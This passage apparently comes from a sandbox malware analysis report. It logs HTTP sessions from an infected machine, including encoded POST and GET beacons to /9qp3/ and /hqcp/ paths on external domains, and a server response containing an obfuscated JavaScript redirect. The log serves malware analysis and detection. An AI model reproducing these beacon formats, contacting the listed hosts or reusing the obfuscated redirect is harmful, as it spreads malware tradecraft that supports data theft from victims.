Jul 3, 2024 17:41:32.043494940 CEST	2578	OUT	Data Raw: 69 6b 34 36 5a 31 79 56 6d 79 75 2f 4d 78 64 44 6d 2f 62 4a 73 53 37 42 50 62 46 79 54 4b 37 46 57 73 4a 42 2b 4e 4b 50 2f 35 56 69 32 49 6a 44 65 59 6b 33 32 77 52 2b 51 67 52 54 76 37 71 77 7a 6c 76 45 30 69 6a 61 44 6e 68 50 71 4b 44 52 68 31 Data Ascii: ik46Z1yVmyu/MxdDm/bJsS7BPbFyTK7FWsJB+NKP/5Vi2IjDeYk32wR+QgRTv7qwzlvE0ijaDnhPqKDRh1lCD1NnQ0xVBU83JTCINK+Qx+/g4jIvA4jLI1OCwF6S6C25DNvvejJ4JpGwL05N/BqVgtUkufiDpCHugURijPn53WVzsVUfndRjLcMS5Q1PnPU0MzCvTZWmXY5DK0sr82mMCNslcoiOGGsZJS8VnclBiBV1B1sP23k
Jul 3, 2024 17:41:32.043742895 CEST	2578	OUT	Data Raw: 4b 43 50 53 62 64 72 67 4e 51 43 75 46 74 7a 5a 42 77 4b 77 57 36 6b 61 39 2b 68 2b 30 32 43 72 68 4c 75 34 4f 32 6d 34 68 62 71 41 73 59 4d 36 69 52 6c 78 4b 76 64 34 4d 6c 4a 53 6d 33 71 58 39 52 6f 4d 6d 62 75 51 48 4c 73 73 57 6b 68 4a 6b 62 Data Ascii: KCPSbdrgNQCuFtzZBwKwW6ka9+h+02CrhLu4O2m4hbqAsYM6iRlxKvd4MlJSm3qX9RoMmbuQHLssWkhJkbFqehSlrVuN52v9VRs9YHXIPuU5LikyOQWg5fO+U8cx/F3XaJgxcQQgLtAbsxR/+d4RvPOuOYFGQRpoe0TShaLZjDMhXedc1rujxngGuAbyPz9RWEs+TsK1MD2IERnt4jVwCikEf9B9H/xwTxEPUniLXagw+k5kngU
Jul 3, 2024 17:41:32.043915987 CEST	18046	OUT	Data Raw: 66 54 4e 79 75 31 4f 44 41 4c 49 51 4f 32 52 56 34 69 43 37 4b 74 61 38 62 68 69 50 79 36 72 36 76 59 42 4e 62 42 32 72 6d 2f 74 6f 49 4f 46 6a 59 42 6b 54 66 41 6b 52 41 64 49 72 71 4b 38 77 4a 4c 49 58 63 58 78 4b 6f 6f 6c 6e 53 74 4a 6c 57 5a Data Ascii: fTNyu1ODALIQO2RV4iC7Kta8bhiPy6r6vYBNbB2rm/toIOFjYBkTfAkRAdIrqK8wJLIXcXxKoolnStJlWZOmJKDs/gyGXbTfRGr1MM4SlYUrTfrLdDrDJUuaPRpXA7FDKpAdzKZE5OiuJ4vLUIsnNyLpY3lXO96Ges3ZAxEA2XQjp9VbPCn5c8j/37WMJYwCcmCFEDTy8nhL8qXuNfO4F7jhfqOY7096dJ/7hDS5n7/cUg706Oh
Jul 3, 2024 17:41:32.212369919 CEST	2578	OUT	Data Raw: 58 57 62 54 34 54 62 78 6c 57 31 74 79 73 75 49 59 65 72 49 49 6d 51 6a 6b 55 4d 4e 2b 6f 75 72 6f 46 51 66 38 7a 6e 45 75 79 4f 6e 34 4a 33 67 6d 44 76 35 53 79 4f 75 77 74 31 58 70 53 4e 39 41 70 30 32 48 34 54 31 7a 34 39 53 53 48 43 59 67 72 Data Ascii: XWbT4TbxlW1tysuIYerIImQjkUMN+ouroFQf8znEuyOn4J3gmDv5SyOuwt1XpSN9Ap02H4T1z49SSHCYgrZuFOdlskvTex5nQM9deusUic8ivZcQsR8Tcjxw2SgZCKJ9KAW77cNzLqWMxyvBCXXiULH/uGrNB3yFAvan63GlFn9/98Vt5BUx+mvohe+9pWcYy2LHYOAcbcEE7gbSTIuIg9H3O1uIswJEhXInKyCbd2kNZN+NrpK
Jul 3, 2024 17:41:32.212425947 CEST	3867	OUT	Data Raw: 45 6e 33 4d 62 38 6c 76 4d 71 7a 63 4e 75 4a 6c 59 31 48 63 4d 44 4d 65 65 59 7a 78 62 4d 30 57 78 68 71 61 4f 61 64 66 59 4b 32 34 34 35 2f 35 61 4b 50 4c 34 74 6d 44 75 35 46 4c 65 75 74 57 5a 6f 35 43 65 2b 2b 31 54 44 43 53 5a 4f 31 53 37 53 Data Ascii: En3Mb8lvMqzcNuJlY1HcMDMeeYzxbM0WxhqaOadfYK2445/5aKPL4tmDu5FLeutWZo5Ce++1TDCSZO1S7S3y7+2GcsQd34zXCx6lYORHV1f6AH3lRjGV6qHxDuNZCCSgepah+2IMqwX62DAMYWL1Sp+PTkp8E8d2WJ/3jw163JgfgIPf7WmMeEMkdGWiqiA4xicyqKSnk7F3nRfdeIq2jYVCjjH7omptjmatgRFZKLxuVN3be9a
Jul 3, 2024 17:41:32.212455034 CEST	5156	OUT	Data Raw: 47 78 38 61 6e 61 2f 30 7a 34 72 66 46 47 52 46 67 75 6e 2b 67 7a 75 62 52 59 6d 42 6d 45 65 4f 53 2f 56 49 4e 35 31 57 55 6f 51 79 42 74 62 45 42 37 63 54 31 6b 4e 75 49 4c 4c 6c 58 64 58 34 33 6e 46 55 4c 55 46 53 32 67 7a 35 53 73 37 69 79 67 Data Ascii: Gx8ana/0z4rfFGRFgun+gzubRYmBmEeOS/VIN51WUoQyBtbEB7cT1kNuILLlXdX43nFULUFS2gz5Ss7iygLXmjei8RF/V3e8689JaCJIoN77hAy02poNoDupVe5zp+uYJTEVmL9tieLS3+arME+pyXO9bMmsEVxGLxnCw/EWFKho80D6JVjr2wQelzOdYm0A/E8Y4J6GbaefsN/OEhn4S/ARmcEylIl+tQl9UKnoELU/bl/OL88
Jul 3, 2024 17:41:32.212621927 CEST	1289	OUT	Data Raw: 45 48 69 50 6f 48 68 74 45 78 31 32 52 53 55 47 71 57 33 4e 6f 30 34 53 2f 63 36 52 4a 38 62 70 58 7a 2f 69 65 62 43 43 37 67 6c 43 6f 2f 30 61 74 59 31 41 43 6e 62 56 6e 38 34 6b 43 73 67 59 43 76 33 71 31 51 56 72 73 52 46 34 4d 71 2b 59 63 75 Data Ascii: EHiPoHhtEx12RSUGqW3No04S/c6RJ8bpXz/iebCC7glCo/0atY1ACnbVn84kCsgYCv3q1QVrsRF4Mq+Ycu0sP7SKIkE8HQw+TNDeG2PvZ7OnepYf4mAYAjtYGgloeLZZN70O4Q3ZQuIcfqe7pgvqglLuIrcbl4sXSV1xroJPq3JIwShmsGgVQrSWU4ph9GhysXlTtDnM6MslN+TGMLlYk0DctXs4iUcBO4qzSZNFNRxQ96vuTvT
Jul 3, 2024 17:41:33.375262976 CEST	715	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 31 66 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 53 dd 6f da 30 10 7f e7 af f0 fc 14 24 e2 7c 92 84 02 9d 80 81 d4 0e 51 4d a5 7d a1 11 72 1c a7 09 25 09 b2 9d 35 5b cb ff be cb c2 36 b4 ee b9 5a a4 cb f9 ce 77 f7 3b df c7 48 32 91 1d 14 62 29 15 92 ab 31 be 5b 2f f4 00 a3 2c 1e e3 e5 64 3b bb 59 2e e7 b3 35 46 52 b0 31 36 0c 19 3f 91 be 45 f6 d4 d8 49 1d 04 fd 20 4a 92 67 05 d9 49 7c 39 32 da 60 97 9d d1 e9 b0 9c 90 ac c8 94 f6 92 c5 17 d8 b9 9a ca fb 5b 61 d7 37 93 d9 d5 fd f5 1d ee b1 a7 7f 68 8f dd b7 71 3a 5f a9 40 db 34 57 68 dc b2 d7 57 b4 09 87 1d 2d a9 0a a6 b2 b2 d0 ba e8 a5 83 50 63 96 e6 60 14 97 ac ca 79 a1 08 13 9c 2a 3e df f3 46 d2 70 9b 17 ee 0e c1 38 cd 09 bc 0a 8c 71 aa d4 41 5e 18 06 68 22 9a c5 15 61 65 de 08 3b f9 31 30 4d c6 12 db 77 99 43 fb 03 87 3a 5e df e1 1e 65 51 12 c1 8d cf 70 13 a9 81 95 e7 a8 8f 5c 9d 20 e5 f4 db 9a 3e ae 68 ce ff 80 6f cc 70 88 c0 4d 92 03 15 90 d6 aa 8c 39 d4 49 72 a1 a6 3c 29 05 d7 d2 bc 87 24 24 79 ec 6a f0 3f ab c7 07 5d b7 74 fd 77 81 df a3 6d 9f [TRUNCATED] Data Ascii: 1f2So0$\|QM}r%5[6Zw;H2b)1[/,d;Y.5FR16?EI JgI\|92`[a7hq:_@4WhW-Pc`y*>Fp8qA^h"ae;10MwC:^eQp\ >hopM9Ir<)$$yj?]twm^zXymoW"6\|q.aqPs~JRJS8%aaIUf5k\|6f@ z}jl@]i{s[".7i0`Hq!\|(Y7B0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	49828	142.202.6.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:34.589607954 CEST	522	OUT	GET /hqcp/?vX=a7ZQHf8WLvhHVBvdkZq5xuKGtafV4VgGgVvybuFCKLHzqS2zk6yuhV6s1hLkbw5zmPfcdtbcw9raqNmLcm/5LDv7+9F7BWl1gWJ1Gl5m9d8a+w3Gr0PmHHU=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:41:35.763567924 CEST	1283	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 34 34 32 0d 0a 3c 73 63 72 69 70 74 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 69 64 3d 22 4c 41 5f 43 4f 4c 4c 45 43 54 22 20 73 72 63 3d 22 2f 2f 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 4c 41 2e 69 6e 69 74 28 7b 69 64 3a 22 33 49 42 73 56 53 72 32 78 4f 41 43 49 56 4a 55 22 2c 63 6b 3a 22 33 49 42 73 56 53 72 32 78 4f 41 43 49 56 4a 55 22 7d 29 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 38 30 30 63 63 66 32 37 34 63 33 61 35 39 33 61 33 36 35 33 65 36 61 63 62 66 62 30 30 63 37 63 22 3b 0a 20 20 76 61 72 20 73 20 3d 20 [TRUNCATED] Data Ascii: 442<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script><script>LA.init({id:"3IBsVSr2xOACIVJU",ck:"3IBsVSr2xOACIVJU"})</script><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?800ccf274c3a593a3653e6acbfb00c7c"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script>...1--><script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script><script>LA.init({id:"KQ2cxFS69unN6J8D",ck:"KQ2cxFS69unN6J8D"})</script><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?be472e8744edb3816324a1183cdffac6"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script><script> var url = "https://aaa.za1.jecxs.cn/123.html"; var _0x0 = ["\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x72\x65\x66"]; s [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	49829	74.208.236.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:40.953568935 CEST	803	OUT	POST /9qp3/ HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.motorsportgives.com Referer: http://www.motorsportgives.com/9qp3/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 55 58 77 4f 37 51 47 48 4a 4d 4b 54 5a 5a 4d 41 78 34 66 34 53 44 72 53 56 7a 44 56 63 2b 4f 30 4b 6a 44 75 46 58 6e 73 79 2f 41 54 6e 7a 61 6c 49 73 67 5a 56 45 6b 56 7a 4b 68 58 36 33 4a 79 65 7a 51 79 73 43 78 69 4e 30 79 35 6e 6d 46 47 63 4e 35 66 61 76 59 38 5a 56 2f 38 64 32 31 78 6a 65 47 59 2f 61 30 4a 4b 75 41 59 46 31 54 4a 49 66 7a 72 32 51 67 75 44 46 70 6d 33 43 6a 7a 77 4b 75 39 50 64 35 76 45 6a 6d 46 50 63 73 2f 38 57 68 39 46 5a 53 7a 33 39 73 49 37 4f 51 77 6a 56 52 31 35 68 73 78 75 34 4a 43 33 45 4b 76 77 6b 72 69 6d 49 4c 77 43 2b 6d 69 33 58 4a 68 6f 67 3d 3d Data Ascii: vX=UXwO7QGHJMKTZZMAx4f4SDrSVzDVc+O0KjDuFXnsy/ATnzalIsgZVEkVzKhX63JyezQysCxiN0y5nmFGcN5favY8ZV/8d21xjeGY/a0JKuAYF1TJIfzr2QguDFpm3CjzwKu9Pd5vEjmFPcs/8Wh9FZSz39sI7OQwjVR15hsxu4JC3EKvwkrimILwC+mi3XJhog==
Jul 3, 2024 17:41:41.092703104 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:41:41 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	49830	74.208.236.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:43.646683931 CEST	1143	OUT	POST /9qp3/ HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.motorsportgives.com Referer: http://www.motorsportgives.com/9qp3/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 55 58 77 4f 37 51 47 48 4a 4d 4b 54 59 35 63 41 39 35 66 34 56 6a 72 52 4a 44 44 56 53 65 4f 77 4b 6a 2f 75 46 57 79 78 79 4e 55 54 6e 57 2b 6c 4a 74 67 5a 59 6b 6b 56 6e 61 67 64 6c 6e 4a 70 65 7a 4d 51 73 41 6c 69 4e 77 53 35 6c 55 39 47 64 39 35 65 55 50 59 7a 52 31 2f 35 4b 6d 30 2b 6a 65 4c 78 2f 59 49 4a 4a 64 30 59 45 7a 48 4a 43 74 62 6f 79 77 67 6f 53 56 70 6c 38 69 6a 39 77 4b 54 41 50 5a 35 2f 46 51 36 46 50 38 4d 2f 39 57 68 2b 4c 70 53 30 2f 64 74 6b 36 65 52 48 73 45 52 69 2b 77 59 32 68 72 78 6d 30 48 71 77 34 47 66 52 35 59 65 4d 47 4e 37 65 6a 33 45 2b 32 4e 74 48 6b 4c 58 4b 2b 54 6d 38 54 6a 4c 2b 65 77 68 31 4d 4f 47 57 77 33 4d 6d 6b 67 43 4a 32 53 4b 69 6a 45 64 67 31 67 79 63 4d 4e 74 4b 45 69 4e 6a 62 42 62 72 66 61 70 7a 72 6f 4b 34 64 48 48 4e 5a 55 4d 6b 63 51 49 4f 75 6a 74 6c 66 33 41 38 62 67 2f 38 57 78 56 71 71 5a 62 41 48 67 6c 77 41 71 46 39 47 67 58 7a 55 79 46 36 51 36 39 57 6a 43 62 51 39 54 54 2b 61 62 7a 6e 4c 6f 4a 53 6e 6d 77 45 2f 42 49 75 4e 2b 57 [TRUNCATED] Data Ascii: vX=UXwO7QGHJMKTY5cA95f4VjrRJDDVSeOwKj/uFWyxyNUTnW+lJtgZYkkVnagdlnJpezMQsAliNwS5lU9Gd95eUPYzR1/5Km0+jeLx/YIJJd0YEzHJCtboywgoSVpl8ij9wKTAPZ5/FQ6FP8M/9Wh+LpS0/dtk6eRHsERi+wY2hrxm0Hqw4GfR5YeMGN7ej3E+2NtHkLXK+Tm8TjL+ewh1MOGWw3MmkgCJ2SKijEdg1gycMNtKEiNjbBbrfapzroK4dHHNZUMkcQIOujtlf3A8bg/8WxVqqZbAHglwAqF9GgXzUyF6Q69WjCbQ9TT+abznLoJSnmwE/BIuN+WGjYzDqKtgR/4wsYh4Fdt2S1LvQwaRUPXjsllS6LMgjXmPOK30ZOIAk9ocSmzRrGVQDm5t5dudLgB63+3pXMERzHpZp9+nnzNuosPluCplePUWg75DkHpkzNtHbzZzrcyVdWoPWXq7vJ220bX5gIQkshLPrGX7uh2elfSDzgKbPNpapc92LZAPCgTDrFJN0SNN7QwcQ+I=
Jul 3, 2024 17:41:43.791742086 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:41:43 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	49831	74.208.236.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:46.335351944 CEST	1289	OUT	POST /9qp3/ HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.motorsportgives.com Referer: http://www.motorsportgives.com/9qp3/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 55 58 77 4f 37 51 47 48 4a 4d 4b 54 59 35 63 41 39 35 66 34 56 6a 72 52 4a 44 44 56 53 65 4f 77 4b 6a 2f 75 46 57 79 78 79 4e 4d 54 6e 67 79 6c 49 4f 49 5a 5a 6b 6b 56 34 71 67 63 6c 6e 4a 6f 65 7a 45 55 73 41 6f 66 4e 32 65 35 6d 45 4e 47 65 49 56 65 65 76 59 79 53 31 2f 2f 64 32 31 2f 6a 65 47 6d 2f 59 4d 33 4b 74 77 59 46 30 6a 4a 47 62 54 72 2b 41 67 75 53 56 70 54 34 69 6a 44 77 4b 6d 4c 50 63 68 2f 46 53 65 46 4d 71 41 2f 2f 42 56 2b 43 5a 53 33 6d 4e 74 72 30 2b 51 39 73 45 56 63 2b 77 59 4d 68 71 46 6d 30 46 69 77 2f 48 66 53 35 34 65 4d 61 64 37 64 31 48 49 36 32 4e 67 53 6b 4b 54 4b 2b 54 4f 38 4a 44 4c 2b 59 56 42 32 46 4f 47 51 6d 48 4e 6d 67 67 47 42 32 53 65 63 6a 41 46 67 31 52 57 63 4d 36 42 4b 44 44 4e 6a 53 42 62 70 41 4b 70 61 6c 49 4c 37 64 44 6a 72 5a 56 73 30 63 51 73 4f 76 43 4e 6c 4a 47 41 7a 64 41 2b 33 49 68 56 46 75 5a 58 45 48 67 30 79 41 71 46 74 47 68 6a 7a 58 44 31 36 54 2f 4a 5a 75 79 62 54 70 6a 53 38 54 37 2f 70 4c 70 6c 61 6e 6c 67 55 2f 43 6b 75 4d 65 57 [TRUNCATED] Data Ascii: vX=UXwO7QGHJMKTY5cA95f4VjrRJDDVSeOwKj/uFWyxyNMTngylIOIZZkkV4qgclnJoezEUsAofN2e5mENGeIVeevYyS1//d21/jeGm/YM3KtwYF0jJGbTr+AguSVpT4ijDwKmLPch/FSeFMqA//BV+CZS3mNtr0+Q9sEVc+wYMhqFm0Fiw/HfS54eMad7d1HI62NgSkKTK+TO8JDL+YVB2FOGQmHNmggGB2SecjAFg1RWcM6BKDDNjSBbpAKpalIL7dDjrZVs0cQsOvCNlJGAzdA+3IhVFuZXEHg0yAqFtGhjzXD16T/JZuybTpjS8T7/pLplanlgU/CkuMeWGoabCzqtjZf4mxIhvFdxAS3maXDeRU/njmVlRxLMsp3mJY630ZOEUk90cS3LRoUdQIVht7dubLgBr3+7aXM9CzGZzp/SnpHButo7m5ypkNfVW+L9UkH1azNdIbEpztouVZWoMS3q8oJ28lLL1gI8ashPfrFX7+wLKh8WssSSAL+V/tat4I4QoPBCup1Ae7x1WmhRcH7c8PaVZ4fBd52rAynhDqyCIs/buBBsdJn8v9MRQgmNWLf1oKg+gSfF4ULbYxkxg0auY5MGxQQnWep0Vokh6ZD5+X3xG4z4CL/PmxtkJbre6F24c2TWWf2MLDpTN3Pp16n9sPiaGcPlxK4C1+Vt1
Jul 3, 2024 17:41:46.335401058 CEST	2578	OUT	Data Raw: 78 38 55 4c 6c 75 42 73 38 4b 49 79 4b 4f 53 4a 43 6e 73 31 4e 76 5a 56 37 50 6d 52 55 50 39 4a 33 63 50 4b 44 72 7a 48 76 41 30 76 30 6a 4a 5a 7a 42 5a 32 48 59 67 43 55 30 63 77 59 58 72 44 47 47 33 6c 72 4b 76 59 2b 6a 55 51 76 49 41 75 6a 58 Data Ascii: x8ULluBs8KIyKOSJCns1NvZV7PmRUP9J3cPKDrzHvA0v0jJZzBZ2HYgCU0cwYXrDGG3lrKvY+jUQvIAujXTDlXNAlK3IIsOrdFA1WhmLbKzhhaBevSS6DcAPrTjGRwcrSq2NDCaedSnOVmfyjg7+omxtXMun0lwV4HEN1ooNhOD7Y2QVgJRWw6mkUPQfNtPRdPGrzElPaOhobREprtE8fhVJtyOkrf9Fy0pSMC//GxjlZQ7Qsou
Jul 3, 2024 17:41:46.335453033 CEST	9023	OUT	Data Raw: 4e 67 76 2b 66 31 6f 2f 6f 36 79 34 36 33 4c 7a 50 74 76 43 7a 47 76 2b 46 51 38 6c 6d 55 5a 46 72 34 75 34 70 59 43 44 2b 6c 43 76 52 71 2b 74 45 71 58 72 5a 63 58 33 45 47 53 46 73 4c 76 6b 62 4a 43 62 6c 48 70 50 67 4e 6c 47 63 31 6f 35 6a 71 Data Ascii: Ngv+f1o/o6y463LzPtvCzGv+FQ8lmUZFr4u4pYCD+lCvRq+tEqXrZcX3EGSFsLvkbJCblHpPgNlGc1o5jqyzUvfn3uH+16nG1A1NjPeIHIWzlUZ4XLLxaCNrygn+E8rt0PvCMzTl2RYs0UBJjbnxaVoqYBtTEWFMF7hxbxiKufSblPkoFqG14r7rsAcMhnJz5SSk6iZbCv72VDLmR47BVCPYt/A3OoYHuvKChrgiy82/+fuSHVg
Jul 3, 2024 17:41:46.467875957 CEST	1289	OUT	Data Raw: 64 49 64 77 62 59 68 41 30 74 69 36 59 4a 31 73 4c 7a 48 53 67 41 49 37 48 45 69 34 4e 35 6b 7a 31 4c 53 61 54 71 58 4a 62 6b 6e 69 6e 4f 38 5a 51 47 37 53 73 54 6d 2f 59 49 53 79 4d 49 53 30 6f 4c 69 75 53 58 34 65 32 42 7a 52 58 5a 61 46 47 72 Data Ascii: dIdwbYhA0ti6YJ1sLzHSgAI7HEi4N5kz1LSaTqXJbkninO8ZQG7SsTm/YISyMIS0oLiuSX4e2BzRXZaFGr+yD5ykE7xCfMXuYsXdJDskmm24FE23pRluQiXOkzS0worERr+IzyY6y6O1VmNQLXlVAoiqA1SxHO0rFrKhJahXc/jMU+XJmIJ7qnGeeIIlromjKgYza4Qk/tZOw5W0Hz61N1zuitb14iBjBYP71zcOZWalkbqbHU4
